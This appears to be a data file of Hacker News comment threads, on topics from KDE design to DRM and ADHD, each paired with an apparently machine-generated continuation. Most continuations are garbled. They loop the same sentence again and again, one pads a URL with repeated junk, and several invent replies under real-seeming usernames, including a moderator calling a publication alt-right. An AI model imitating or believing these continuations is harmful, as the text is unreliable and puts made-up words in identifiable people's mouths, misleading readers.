Fluent Terminal seems fast enough and\ndoesn't eat up that many resources surprisingly. As a UWP program it feels\nvery snappy (as opposed to Hyper being a full on electron app using 200MB for\nsimple text output!) I don't care what technologies they use to build a\nprogram, as long as it works. I haven't experienced any hangups using SSH, so\nit's good enough for me.\n\n------\nbitwize\nEmacs runs in Windows consoles. Presumably you start it the usual way, by\nsaying: emacs -nw\n\nWhen you have Emacs, why use anything else? :)\n\n~~~\nrhabarba\nEven in CUA-mode, Emacs is very unusual in quite a lot of ways in the DOS\nworld. That\u2019s why, I guess.\n\n------\ninakarmacoma\nIt's interesting, a shame emacs org-mode is discarded so quickly. If only the\nbarrier of entry weren't so high.\n\n~~~\nrhabarba\nThe author implies that vi/Vim and an Emacs are the usual suspects here, but\nthey\u2019re rather foreign"} +{"output_text": "~~~\ndang\nI don't think that's necessary. Quillette is a publication of the alt-right,\nbut it's not a publication of the alt-right that we're discussing here.\n\n~~~\nnameismypw\nI don't think it's necessary either. I'm not sure what you mean by \"we're\ndiscussing here\".\n\n~~~\ndang\nI mean that the article is about a Quillette article, and the discussion", "input_text": "=20485859](https://news.ycombinator.com/item?id=20485859).\n\n------\nlocallost\n> or that workers somewhere in Iceland (360,000) have been required to work\n> around a fallen co-worker. But neither of these things, if they happened,\n> would be proof that working conditions in Luxembourg or Iceland are\n> appalling.\n\nThey would however be proof that working conditions in a company in Iceland\nare appalling.\n\n~~~\nthe8472\nNot really, since they are single events you don't know anything about the\nfrequency and how it compares to the frequency in other locations.\n\nThe law of large number causes unusual events to happen every day, which means\nthe more globally your news operates the more freak events you can accumulate.\nYour town newspaper regularly reporting that someone had to work next to a\ncorpse would be concerning. BBC world news reporting that this happened\nsomewhere in the world might be statistical blips.\n\n~~~\nGuest42\n\"The weak law of large numbers states that the sample average converges in\nprobability towards the expected value\"\n\n[https://en.wikipedia.org/wiki/Law_of_large_numbers](https://en.wikipedia.org/wiki/Law_of_large_numbers)\n\n~~~\nthe8472\nAh, I was thinking of \"The Law of Truly Large Numbers\"\n\n------\nSamReidHughes\nRelated: _The Jungle_ purportedly was a similar piece of propaganda.\n\n------\nnameismypw\nIt doesn't seem appropriate to discuss a Quillette article without mentioning\nthat it's an alt-right publication. We must not normalize it, and I strongly\nencourage people to flag the submission.\n\n"} +{"output_text": "needed.\n\n~~~\nsho_hn\nThanks! We're working on it.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of\n\"Android\" in the title.\n\n~~~\nsho_hn\nWe're not talking about Android. We're talking about a new desktop environment\nfor Linux.\n\n~~~\njosteink\nAh, got it.\n\nI'm not sure", "input_text": "braindead as a result if you don't like exactly what the GNOME team likes.\n\nSeriously, KDE isn't new. Desktop has really shitty defaults, which is a major\nproblem considering how many people don't know how to change the settings. I'm\ntalking about \"not a computer person\" people, here.\n\n~~~\nsho_hn\n> I'd actually disagree - this is a problem that KDE has in general.\n\nAre you actually _disagreeing_, though? We both seem to agree it needs work.\nAnd you're correct the challenge is partly an institutional one -- recruiting\nand retaining design talent and manpower, and fashioning new ways of working\ntogether. It's something we're aware of and working on, and if you'd like to\nwork on it with us we'll welcome you with open arms.\n\nThe KDE community isn't unaware of its weak spots and isn't satsified with its\nweak spots; addressing weak spots is Real Work[tm] though, and doesn't always\nhappen over night. We'd like to think we've made some progress (for example\nwe've identified some things that _don 't_ work from past attempts, and that's\nuseful institutional knowledge as well), though. And that it's very much worth\ndoing.\n\ntl;dr If open source is bad at product design, we'd rather not accept that as\nlaw of nature and work out how to get better. If that's a challenge you have\nan appetite for...\n\n------\njafingi\nPretty interesting project. And it looks great. I understand that it's work in\nprogress, but it really need to support more devices, even in this phase.\n\nLooking forward to seeing how this will work out! A replacement for Android is\n"} +{"output_text": " to have a Facebook account?\n\n~~~\nstarefossen\nNo, you can use any OAuth provider.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nstarefossen\nIt's a simple way to get an OAuth token for a user.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nstarefossen\nIt", "input_text": ", that you actually have users...\n\noauth-flow just implements the authorization flow: redirects the user to the\noauth provider (facebook, twitter, etc), then when the user returns, they\nreturn at the same URL and the next middleware is called with req.oauth\ncontaining all oauth data such as tokens.\n\nThen you can do whatever you want with those - make an API call, authorize the\nuser using their external ID, register a new user...\n\nIts a smaller, more focused module, better aligned with the principle of doing\none thing only and doing it well. And it doesn't require adding any global\nmiddleware inside the app.configure block such as in passport.\n\n------\ndanielfone\nI was getting so impatient waiting for the stubborn programmer animation to\nfinish. Inspect -> sources -> stubborn.js -> ohhhhhh... well done.\n\nOn the other hand, I first thought this was a Facebook thing since it started\nwith \"Setup your Facebook API Keys in OAuth.io\". Perhaps something like \"Setup\nAPI keys for the provider of your choice in OAuth.io\"?\n\n------\ntusharc\nComments on the animated UI aside, as someone who recently pulled their hair\nout trying to get StackOverflow oauth working, a simple solution would be\nextremely welcome. My scalp shall thank you!\n\n------\noutworlder\nI thought the comic programmer would be successful by step 100 or so, so I\nkept watching.\n\nI am now at step 125. Still watching...\n\n~~~\nstarefossen\nYou can check out how they did the comic programmer here:\n\n\n------\ndavefp\nDoes this service require me"} +{"output_text": " store, buys a bunch of Tide, and then goes to Bob and pays\nhim for drugs.\n\nAlice gains $500.\n\nAlice goes to Bob and pays the $500 to him for drugs.\n\nAlice is not in danger, and the cash is not traceable back to Bob.\n\n~~~\ndminor\nI'm not sure I follow. If Alice is robbing a store with a gun, then she's\nalready in danger. If", "input_text": " it seemed really strange\n\n~~~\nwinthrowe\n\"Give 'em the razor; sell 'em the blades\"\n\n\n\n~~~\ncorin_\nGiven you're replying to people talking about securing razors and making\nblades easy to steal, that's not really relevant.\n\n~~~\nwinthrowe\nIt was late, and I apparently read that backwards.\n\n~~~\ncorin_\nFair enough :)\n\n------\npixie_\nIs this for real? Seriously this is the definition sensationalism.\n\n------\ndminor\nSounds way way less convenient than cash to me.\n\n~~~\njpatokal\nStealing cash from a store requires armed robbery. Stealing Tide from that\nsame store is only shoplifting.\n\n~~~\ndminor\nOk, but if I'm hanging out on the corner selling drugs, do I really want to\ndeal with a bunch of laundry detergent tubs?\n\n~~~\nnathannecro\nI'm not sure if that's the point. What they're doing is lowering expressed\nrisk.\n\nIn a standard drug+robbery cycle (I'm guessing here):\n\nAlice robs a Walmart/7-11/etc with armed force or intent to use armed force.\n\nAlice gains $500.\n\nAlice goes to Bob and pays the $500 to him for drugs.\n\nNot only is Alice in danger (she can be prosecuted for armed theft), but the\ncash can be traced back to Bob putting him in danger. This also links Alice to\nBob's drug dealing activities which stacks additional charges on Alice.\n\nIn a Tide-enhanced drug+robbery cycle:\n\nAlice goes to the"} +{"output_text": "and\nother sites) so great.\n\n~~~\nchasing\nI don't think it's that hard. I've written a few posts on Medium, and it's\npretty easy.\n\nI think the real issue is that people don't want to put in the work to write\nsomething that's worth reading.\n\n~~~\nnpizzolato\nI agree. I think it's a combination of laziness and the fact that writing is\nhard.\n\n", "input_text": " fact if I'd\nhave to rank methods of publishing by likelihood among my friends, a text file\nmight be higher up than Medium.\n\nPerhaps in Silicon Valley it's very popular and perhaps this 'friend' (that\nposted it, to his dismay, on Medium) is indeed from there, but it's not as if\nit's that obvious that everyone would post to Medium.\n\nBut yeah I do agree, if you think of something like that, you might as well\nsay it instead of waiting.\n\n------\nchasing\nFor someone with any amount of tech savvy, I just don't think there's any\nexcuse for not posting writing on your own, self-hosted system. HTML in its\nmost basic form is literally designed for this use case.\n\nMedium's cool now, but it won't necessarily be in a few years. And it's\ncompletely within the realm of possibility that they will disappear entirely\nat some point. It happens all the time. Big sites that people have contributed\nmass amounts of content to blink out of existence on a very regular basis.\nSometimes without warning or the ability to back-up data. But the best case,\nlike Winer points out, is that any links in become broken, comments get lost,\netc.\n\nYour writing is yours. Own it.\n\n~~~\nnpizzolato\nI don't write a blog. I've thought about it quite a few times, but it turns\nout writing is hard and writing things regularly that people want to read is\neven harder.\n\nIf I ever get over that hump, I certainly wouldn't want to make it harder on\nmyself by hosting my own web server. I would want to _write_, not manage a\nserver, with whatever complications that brings. That's what makes Medium ("} +{"output_text": " you have a lot of time to work out\nthese issues.\n\n------\nmattm\nI think you need to be honest with him. If he's not pulling his weight, then\nyou need to be honest with him.\n\nIf you're both working on the same thing, then you need to be honest with him\nabout how much work you're doing. If you're not, then you need to be honest\nwith him about how much work you're doing.", "input_text": " fact that I will do more work and then we will be equal. I am happy to be equal if the same amount of work was put in. And it may happen that in months after launch he will be much busier than me... But what if he just keeps on slacking? Advice?\n======\ntomarr\nThere's a big chance the cost of any fallout is going to hit your company\nharder than any extra % you negotiate.\n\nI know it's not easy if it feels like your partner is not pulling their\nweight, but your focus should be on making the product a success at this\nstage. 60% of nothing is worth no more than 50% of nothing.\n\n------\ndnh44\nThere is so much work to do in a business that's not product development that\nhaving someone who can take care of that for you which can allow you to focus\non the product is pretty amazing.\n\nIt does sound like maybe you have to be the leader though so identify things\nthat need doing and delegate. Consider this your chance to develop your\nleadership skills.\n\nHowever this isn't really ideal though because as a 50% cofounder he should be\nactively seeking non technical things to do to make the company better. At\nthis stage of the company there is no such thing as not having enough work to\ndo.\n\nLikewise you need to be feeding back your progress to him so he sees progress\non your side as well. Progress creates enthusiasm which is contagious; if he\ndoesn't catch the bug and up his game soon you need to get him out. He clearly\ncares less than you at this point. If that doesn't change you're in trouble\nbecause the person who cares less always has the power in a relationship.\n\nYou're only a month away from launch so"} +{"output_text": "applications/#.U3-1-1-1-1.h-1-1-1-1.e-1-1-1-1.g-1-1-1-1.h-1-1-1-1.e-1-1-1-1.g-1-1-1-1.h-1-1-1-1.e-1-1-1-1.g-1-1", "input_text": " exams, let me know.\n\nYou are right. I will just have to get it done. At this point, I'll go with\noutsourcing, which doesn't necessarily mean offshore, but it could. I want\nquality work. I will have to do my research about it but will look into sites\nlike rent-a-coder, odesk, elance, etc. I'll approach it as you said, I\nappreciate the help.\n\nI still will try to learn to code on a basic level to converse and not be\nentirely blind to what's going on, but I'm not sure if it's a good choice to\ntry and program when it would take a significant time commitment. I'm not\nagainst a time commitment, but by saving that time, it frees me to focus on\nother areas of the business.\n\nANYWAY! I will stop with the typing.\n\nIt seems my choice is to stay with my job (although I might leave to find one\nthat is less all-consuming of my time) and outsource the initial development.\nObviously it would have been ideal if I already knew how to code or had a good\nfriend who could code and wanted to join me. Unfortunately, neither is the\ncase... and I'm not sure creating the MVP myself is the best proposition.\n\nIf someone thinks otherwise, let me know though. Perhaps I'm missing something\nhere.\n\nLastly, any advice on outsourcing development would be appreciated. Thanks.\n\n~~~\nfate_carver\nJust had this pop up on my reader:\n[http://appicurious.com/2011/10/26/inglorious-\napplications/#....](http://appicurious.com/2011/10/26/inglorious-\n"} +{"output_text": "~~~\nnodata\nI'm not the outlier. I'm the norm.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nmod\nIt's a demo of the power of ML services on Azure.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nmod\nIt's a demo of the power of ML services on Azure.\n\n------\njoshu", "input_text": "\nI think it might not be entirely clear what this site represents. It's\nactually quick demo of ML services available on Azure. I think it uses Deep\nLearning and the power of it is to demonstrate that you can wire up something\nlike this yourself without write a line of code for deep learning algorithms\nor even owning any servers at all for heavy GPU processing. I wish they had\nput code for this website on Github so people can tweak and spawn new\nversions.\n\n------\nbcruddy\nTried two pictures. 47 and 31. I'm 24.\n\n~~~\nmrhyperpenguin\nNote that there's a difference between predicting your age and estimating how\nold somebody looks (i.e. you could look older for your age).\n\n~~~\ntjradcliffe\nThe results on every photo I tried were ludicrously wrong. The closest it got\non photos of me was about five years older than me, but it ran anywhere up to\n20 years too old.\n\nThe same thing on photos of others I tried: a 22-year old man was estimated to\nbe 49, a fifty-year-old woman--who is generally considered to look young for\nher age--to be 69. Those are ages that no one would ever guess based on looks.\n\nSo I'd say the algorithm needs a little more work.\n\n------\nnodata\nNon-SSL, and no explicit statement that my photo won't be reused? Cool site,\nbut I'm not using it.\n\n~~~\nmod\nI expect you're quite the outlier.\n\nThere are dozens, maybe hundreds, of pictures of me on the internet already. I\ncertainly don't care if this site has one, and I couldn't care less about its\ntransfer being encrypted.\n\n"} +{"output_text": ", you can always just\nrewrite the code in a higher-level language if you need to.\n\n~~~\njrockway\nI've been doing this for years. I've written a few programs that I can't\nremember how to write in any other language. I can't remember how to write\nthem in C, but I can write them in Ruby.\n\nI've written a few programs that I can't remember how to write in any other\nlanguage. I", "input_text": "vIe98aqTGkY6gkZF4CbzMaQPxOlo/edit?usp=sharing)\n\nEdit (+12mins): I see lots of people viewing, but not a single edit over the\npast 10 minutes.\n\nEdit (+60mins): One other anonymous user helped at last and _the document is\ncomplete_, but didn't leave his username in the contributors list yet.\nAnyway, thanks!\n\nNow the big question is how to run this. _If you have any idea how to run it,\nlet us know!_\n\n~~~\nelwin\nThere are manuals and an emulator here:\n\n\n------\nbri3d\nThe mental debugger is definitely one of the tools I'm glad I developed early.\n\nFor me, it was by reverse engineering. I started cracking software and\neventually moved on to white-hat black box security auditing, and that quickly\ntaught me how to evaluate execution flow mentally.\n\nI find that even though I'm writing high-level Ruby web apps now, my ability\nto rapidly follow code around in my head lets me debug more quickly and\neffectively than many of my co-workers.\n\nI firmly recommend trying reverse-engineering for anyone who hasn't - it will\nforcibly provide a lot of the same metal execution mapping abilities while\nfeeling more relevant than writing machine code or assembler out on a piece of\npaper. And once you learn the basics, everything transfers back up to higher-\nlevel languages pretty well (with the exception of mental hex arithmetic,\nwhich will still come in handy as soon as you segfault your high-level\nlanguage's runtime). Plus, when reverse-engineering"} +{"output_text": "\nNow, the media companies are trying to make it even harder to purchase content\nlegally, and in so doing are at least partially responsible for the rampancy\nof piracy.\n\nThe only way to stop this is to make it easier to purchase content legally,\nand in so doing make it easier to purchase content legally.\n\n~~~\njessaustin\n_The only way to stop this is to make it easier to purchase content legally,\nand in so doing", "input_text": " no mechanism to circumvent it how can those\ntwo paragraphs _ever_ apply? You could make the argument that for certain\nworks such as movies and music you have alternate means of obtaining the\nmaterial but for something like a hardware device (e.g. pacemaker) there\nexists no mechanism _other than circumvention tools_ for anyone to exercise\ntheir right of fair use. Therefore (in such cases) the anti-circumvention\nclauses of the DMCA are a violation of constitutional rights.\n\nIf circumvention tools cannot be made available then citizens are effectively\nbarred from exercising their constitutional rights.\n\nI firmly believe that the judge made a _horrible mistake_ in the original\nDeCSS case when it was ruled that posting the source code of a circumvention\ntool does not constitute free speech. It _damn well_ is free speech! It's\nliterally just a bunch of words and numbers along with a few math symbols\n(code). I believe the idiocy of the ruling was made abundantly clear when\npeople uploaded audio of themselves singing the source code aloud.\n\nApparently it's time to put that \"Source Code is Free Speech\" bumper sticker\nback on my car.\n\n~~~\nreachtarunhere\nI am getting a customized T-Shirt with that message.\n\n------\nFussyZeus\nThe fact is both sides of this have a lot to answer for in terms of eroding\nthe underlying relationship when it comes to any consumer/creator transaction.\nFor a long time media companies made it artificially hard to purchase content\nlegally and in so doing are at least partially responsible for the rampancy of\npiracy. In turn, a lot of people got used to pirating content for free instead\nof paying for it, even when reasonably priced options were made available.\n"} +{"output_text": " competition and innovation.\n\nI'm not saying that Microsoft should be allowed to do whatever they want, but\nI am saying that they should be allowed to do whatever they want as long as\nthey don't violate the law.\n\nI'm not saying that Microsoft should be allowed to do whatever they want, but\nI am saying that they should be allowed to do whatever they want as long as\nthey don't violate the law.\n\nI'm not saying that Microsoft should be", "input_text": "operating system, I develop my own browser, I develop my own media player. And\nI decide to bundle it/promote it along with an operating system I DESIGNED and\nDEVELOPED. What the fuck seems to be the problem with that?\n\nI'm not limiting your ability in anyway - You can still install any other\nbrowser/media player you like and you can remove the ones I've provided too,\njust like any other..\n\nCome on dudes, if I don't have the freedom to bundle MY software the way I\nlike, then how is it fair? It's like saying I can't bundle a headphone for an\nMp3 player I manufactured and the user should buy what he/she wants.\n\nIf I got something wrong here, please enlighten me..\n\n~~~\nrajanikanthr\nstupidity of EU at peaks.. thats it\n\n~~~\noctix\nOf course :) \n\n------\njavipas\nBesides the previous comment from the EU, there's an article written by\nMatthew Garrett (developer of the Secure Boot solution at The Linux\nFoundation) that explains also the big difference between Secure Boot and\nRestricted Boot.\n\n\n\nThat complaint is not really reasonable and is going nowhere, I think.\n\n~~~\nmjg59\nThe Linux Foundation developed their own solution, entirely separate from\nmine.\n\n------\nnivla\nMy comment from another thread posted earlier with the same news that happened\nto disappear from the front page[1]:\n\nAlright this is getting ridiculous, we aren't living in the 90s anymore and we\nshould be encouraging healthy"} +{"output_text": ". They are\naddicted to food and exercise. They are not addicted to food and exercise,\nthey are addicted to the feeling of being thin.\n\nI think the same applies to overwork. I think it is a mechanism that evolved\nto help us survive in a world where food and shelter are scarce. It is a\nmechanism that evolved to help us survive in a world where we are not\nsurrounded by other humans.\n\nI think the same applies to", "input_text": " possible\nto put in a tremendious amount of work into something and it might still not\npay off. Worst off all, even my final study grade suffered slightly from this\nbecause my co-founders put a lot of pressure on me.\n\nSo afterwards I realized: never ever again am I working (insane) overhours for\na prolonged time.\n\nI strongly believe that there is something in us that protects us, less\nmagical than it sounds, evolution. When we work too much we burned out.\n\nIn the years after I eventually co-founded another company and was really\nclose to totally burning out. (Although I limited my overhours, the work-life\nbalance was terrible and when I worked it was ~90-95% \"efficency\" \\- my whole\nprivate life was built around this startup.) I think this 2nd hard lesson\ntotally showed me that it isn't worth it.\n\nNowadays I do my best to find a good balance in work. Of course it's a\npersonal life choice. The more effort/work you put in, the higher the\nprobability you gain but also the higher the probability that something bad\nhappens.\n\nSo yes, obviously there are life hacks etc, go for them if you want to \"solve\nyour problem\". Or maybe think for yourself and imagine what's best for you.\n\n------\ndboreham\nI've done some thinking on this over the years. I'm not convinced it is \"ADHD\"\nper se, based on reading the symptom list and observing family members who do\nclearly have the symptoms. Of course it is always tricky to self-diagnose.\n\nFor me it is more akin to an addiction mechanism : consider someone who is\noverweight because they eat too much and exercise too little"} +{"output_text": " less mental\neffort.\n\n(2): A notebook. I have a notebook for each project I'm working on, and I\nwrite down ideas, thoughts, and things I want to remember. I also write down\nthings I want to do, and things I want to learn.\n\n(3): A pen. I have a pen that I use for everything. I use it to write down\nideas, to draw, to write down things I want to learn,", "input_text": ". It permanently blocks websites in\nall browsers for a certain period of time, making it appear pretty\nnonreversible. I block facebook, twitter, and of course, hacker news. (:\n\n\\- Use a to-do list. Make it consist of a reasonable number of bite-sized\ntasks.\n\n\\- Take care of yourself - get sleep, eat right, exercise.\n\n\\- Give yourself a time limit so you HAVE to let go. Transfer the perfection\nfrom the task itself, to getting the task done efficiently. If you're on a\nMac, download Vitamin-R. It forces you to chunk out blocks of time, and\nexplain exactly what you're going to accomplish in the 45 minutes of focus you\nprobably have. Read the Vitamin-R manual, it's actually really helpful.\n\n\\- Study the Pomodoro technique. That's something you can do on Win/offline;\nVitamin R makes it dead-easy.\n\n\\- Make a chart for yourself. Mine's big, neon, and plastered on the wall in\nfront of my desk where I'm reminded of it. Every day, give yourself a mark\nabout how focused you were, and whether or not you accomplished everything on\nyour to-do list. This'll help you learn what realistic to-dos are.\n\nGood luck, you can do it! (:\n\n------\nJarred\nThis is a good question, and one I've been thinking about myself.\n\nI don't have a direct answer, but this is what's helped me.\n\n(1): 4x3 Dry Erase Board nearby Computer, it might be because of having ADD\nbut I find I do the best idea-refinement/drawing stuff out on a dry erase\nboard, both because you can erase it easily and it involves"} +{"output_text": "A, is a parking management company. We have a lot of\ncustomers who are parking in the same lot for years. We have a lot of\ncustomers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\nWe have a lot of customers who are parking in the same lot for years.\n\n", "input_text": " 9-11 except in green spots\nexcept you have to display the ticket in your window except you need to be 6\ninches but not 12 inches from the curb except except except except\")...\n\n... then this is the part where I start to suspect I'm not paying for the\nparking I'm using, but instead I am paying for someone else's large and\nundeserved profit.\n\n~~~\njaviramos\nThe other day I went to a concert and parked my car at a parking lot. When the\nconcert ended, of course there were masses of people trying to exit the\nparking lot. There were only 2 cashiers to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyAL"} +{"output_text": "-to-de-risk-a-startup-\nguide/](https://www.codingvc.com/how-to-de-risk-a-startup-guide/)\n\n------\njoshu\nI'm in the bay area.\n\nI'm not sure what you're looking for, but I can help you with a few things:\n\n1\\. I can help you find a co-founder.\n\n2\\. I can help you find a", "input_text": "oehler\nHave you considered bootstrapping until investors come looking for you? This\nquestion is a bit like how do we do marketing. The short answer is use your\nnetwork to get intros. If that fails cold call (use LinkedIn, blogs etc for\nless generation). Make sure you target on investors that are interested in\nwhat you're working on already. You need alignment. Also consider that\ninvestors are like sheep running after trends. They also are only interested\nin companies that can reopen them 100x plus on their investment. You might\nhave missed the investor boat for your specific type of company and that might\nbe a blessing in disguise. If you bootstrap check out indiehackers.com. You\ncan make a successful profitable business that you can work on full time\nwithout investors. In fact its easier now than ever.\n\n~~~\naloukissas\nWould 100% recommend checking out indiehackers.com and their podcast. Tons of\nprofitable SaaS businesses there with zero investors.\n\n------\njtwaleson\nI'm in NL and have some experience and contacts. E-mail is in my profile if\nyou'd like to have a coffee. Also, we're currently evaluating test automation\ntools and frustrated with most solutions so would love to hear your pitch ;)\n\n~~~\nBasDirks\nAppreciated, I will reach out.\n\n~~~\ntluyben2\nYou can drop me a line as well if you want. My contacts (VCs) might be\ninterested in your product: I am curious myself as well from the tech point of\nview.\n\n------\nx0x0\nRead Leo Polovets' startup de-risking guide and start de-risking your startup.\n\n[https://www.codingvc.com/how"} +{"output_text": " like \"open source\" and \"free\nsoftware\". I'm not going to judge a project based on whether it's open source\nor not. I'm going to judge it based on whether it's useful to me.\n\n------\njoshu\nI look at the project's website.\n\nI look at the project's mailing list.\n\nI look at the project's bug tracker.\n\nI look at the project's source code.\n\nI look at the", "input_text": " it the last 5%, I might just do it.\n\n~~~\npartisan\nKeep in mind that the last 5% might mean a heck of a lot of time. There is\nusually a reason why some things go unimplemented in open source projects and\nthe complexity and time required are usually high on the list.\n\n~~~\nkazinator\nThe last 5% is _my_ last 5%, not (necessarily) the project's 5%. I.e. the\ndifference between what is there and what I require, not between what is\nthere, and the project's goals.\n\n------\nGratsby\nIf there's an IRC channel, mailing list, issue tracker, etc., I have a look at\nit. Active communities are bonus points regardless of the bug list.\n\nI also look at how friendly the project is to pull requests and outside\ndevelopment. If a bug is important to me, I will spend the time to code a fix,\nbut if there's no hope for getting any changes made, that represents a large\nrisk to me. It's not a bad thing if the team in charge pushes back for higher\nquality code, code style, or solutions practical for wider audiences.\n\nIf there's continuous integration in place with automated testing and static\ncode analysis that is fantastic. It's not a deal breaker if it's not, but\nhaving it in place is a good sign.\n\nDepending on the project, I may have a look at the source itself. I certainly\ndon't look the source of every application I use.\n\nI have found that online recommendations in developer communities are not\nalways good. More than once I've tried out projects based on people\nevangelizing them only to find out that they are pretty far from acceptable.\n\nThere are differences in how I judge things"} +{"output_text": "\" technique).\n\n~~~\njacquesm\nThat's why you need a combination lock.\n\n~~~\nslapshot\nI'm not sure I understand.\n\nI'm not saying that a combination lock is a panacea for all security problems.\nBut it's a good start.\n\n~~~\njacquesm\nI'm not saying that a combination lock is a panacea for all security problems.\nBut it's a good start.\n\n------\njacques", "input_text": "these are \" basics\" things but many people lack them.For me,\njust having one of them, it's a privilege. I finally got my hair back and my\nskin rashes are more manageable, so now I am ready to meet new people and be\nmore presentable.Better keep up now because I feel my time is limited due to\nmy health condition. Who knows when I will lose my hair again and all that? I\nbetter be positive about my situation and don't stress myself more about my\nstruggles.\n\nJust believe in yourself, don't forget what you want and your needs, keep\nfighting and don't give up. Don't dwell in painful situations and don't allow\nyourself to cry for more that a day. Don't look back, just look forward but\ndon't forget the reasons you are fighting for this. Don't really wait for a\nbreak, just go after what you want...\n\nHopefully, your situation turns around. Keep us updated...\n\n \nHouse Keys copyable from 200 ft away via camera - nl\nhttp://www.jacobsschool.ucsd.edu/news/news_releases/release.sfe?id=791\n======\nslapshot\nThis is perhaps an unintentional demonstration that \"insecure against absurdly\ncomplex and specific attacks\" does not always mean \"insecure.\"\n\nFor a web system that is under attack 24/7 from 255^4 different attack\nvectors, you need \"secure against even absurdly complex attacks\" to be\n\"secure.\"\n\nBut for my house? Your average thief isn't going to spend the time to take a\nhigh-res photo of my keys. Instead, they're just going to beat me until I give\nthem my keys (the original \"rubber-hose crytography"} +{"output_text": " that describes what a Wakemate is.\n\nI'm not saying that this is a bad thing. I'm just saying that it's a little\nweird.\n\n~~~\nwinslow\nI agree, I think it's a little weird. I think it's a good thing that they\ndidn't try to sell me on the product.\n\n------\nwinslow\nI wish I had spent more time talking with him.\n\n------\nwins", "input_text": " guy, and I wish I had spent more and more time talking with\nhim.\n\n------\ntedchs\nJim contributed a great deal to the Ruby community and will be deeply missed.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community.\n\n------\nshahinh\nJim was best guy, and I wish I had spent more time talking with him.\n\n------\njackson1990\nI wish I had spent more time talking with him.\n\n------\nshahinh\nYour post is Great read, thanks for posting.\n\n------\nUNIXgod\nThis is sad.\n\n------\nmentaat\nwhat was the cause of death?\n\n~~~\nwinslow\nFrom the other thread (Jim's last Github commit) it states he passed away due\nto a heart attack at age 57.\n\n[1] -\n[https://news.ycombinator.com/item?id=7271909](https://news.ycombinator.com/item?id=7271909)\n\n \nWakeMates are ready - spydertennis\nhttp://blog.wakemate.com/2010/12/18/wakemates-are-ready/\n======\njasonkester\nLook, I know it's Product Blogging 101, but it always amazes me when I see a\nproduct blog like this one that has:\n\na.) No description of what the product _is_\n\nb.) No direct link to the product website\n\nSo now, after visiting that site, I know that Wakemates are ready. But I have\nno idea what a Wakemate is, and short of manipulating the URL by hand, I have\nno way to get to a website"} +{"output_text": "IN/1594484805/braipick-20)\n\n------\nmatt_the_bass\nI\u2019m not sure if this is the right place to ask this, but I\u2019m curious. I\u2019m\ncurrently in the process of applying for a PhD program. I\u2019m a bit worried\nabout the process. I\u2019m not sure if I\u2019m a good fit for the program. I\u2019m not\nsure if I\u2019m a good", "input_text": " along thinking of you.\n\nMoney quote for me was something like the ADHD child has zero self motivation.\nAll motivation comes from the outside world. Which is why kids can play video\ngames for hours because there is instant feedback. But when you finish a\nproblem on your homework nothing happens.\n\nAnd that there is a extremely poor short short term memory problem.\n\nTons of stuff.\n\n------\ntomwphillips\nYou might be interested in this feature about adults with ADHD:\n[https://www.buzzfeed.com/kellyoakes/these-adults-have-\nadhd-b...](https://www.buzzfeed.com/kellyoakes/these-adults-have-adhd-but-\nwere-misdiagnosed-for-decades?utm_term=.ouaZAN5kQq#.ip0DXr9zRW)\n\n------\nkanishkdudeja\nYou should like typical ADHD to me. I had the same issues and now am doing\ngreat with major changes to my lifestyle!\n\n------\nmedion\nMaybe you should be doing something else with your life? Maybe you were\nsupposed to be an explorer, or an adventurer, or a builder? I mean, life is so\nshort, why punish yourself? I hate this culture of 'hacks' and all this\nrubbish to force yourself into doing things maybe you shouldn't be doing.\n\n------\ncorpMaverick\nIt is normal. Make sure you have all of these. Autonomy, Purpose and Mastery.\n\n[https://www.amazon.com/exec/obidos/ASIN/1594484805/braipick-...](https://www.amazon.com/exec/obidos/AS"} +{"output_text": "them were bootstrapped and I was the only employee. I've been in the same\nposition as you and I've had to learn how to deal with people.\n\nI've learned that the best way to deal with people is to be honest and\ntransparent. If you are honest and transparent, people will respect you and\nyou will be able to work with them.\n\nI've also learned that the best way to deal with people is to be honest and\ntransparent", "input_text": "'t matter\", or that they'll act magnanimously, or anything like that.\n\nIt's way, way easier to have a lovely relationship with people when you're in\na position of power. Put yourself into that position.\n\n(There are some investors you can unequivocally trust to act their talk --\nnotably YC, winfunding, and a few others, but don't rely on that as a general\nrule)\n\n~~~\ngreenspot\nThis. So true and extremely well framed.\n\nThe only thing I can add: At the beginning of a relationship, everybody is\nkind. Background checks not just help, they are essential, do them.\n\nGetting into conflicts and power plays with VCs, or just any person at some\npoint, should be expected but there are still huge differences in how people\ndeal in messy situations in terms of morale and ethics. You will find\neverything between feeling uneasy and facing a nuclear war.\n\n~~~\nwiz21c\n>>> there are still huge differences in how people deal in messy situations in\nterms of morale and ethics.\n\nso true. Problem is that in my small business experience, those in power are\nthere because they have very flexible views on morale and ethics (i.e. they\nthink they have morale/ethics, but they actually forget it when their company\nis at stakes). Being the ethical guy I'm of course totally biased. But the\nparent post is so right : having ethics/morale can be extremely damaging for\nyou because you'll have to work with people who absolutely don't get how you\nthink and that'll be super exhausting. Know yourself before going into that\ngame.\n\n------\nrsweeney21\nI've started a few modestly successful companies over the past decade. Most of\n"} +{"output_text": "nsics-\nE...](https://www.amazon.com/Poisoners-Handbook-Murder-Forensics-\nEdition/dp/1594203438)). It\u2019s a fascinating look at the history of the\ndevelopment of forensic science, and how it has evolved over the years.\n\n------\njoezydeco\nI'm not sure if this is what you're looking for, but I've been using\n[http://www.", "input_text": " from 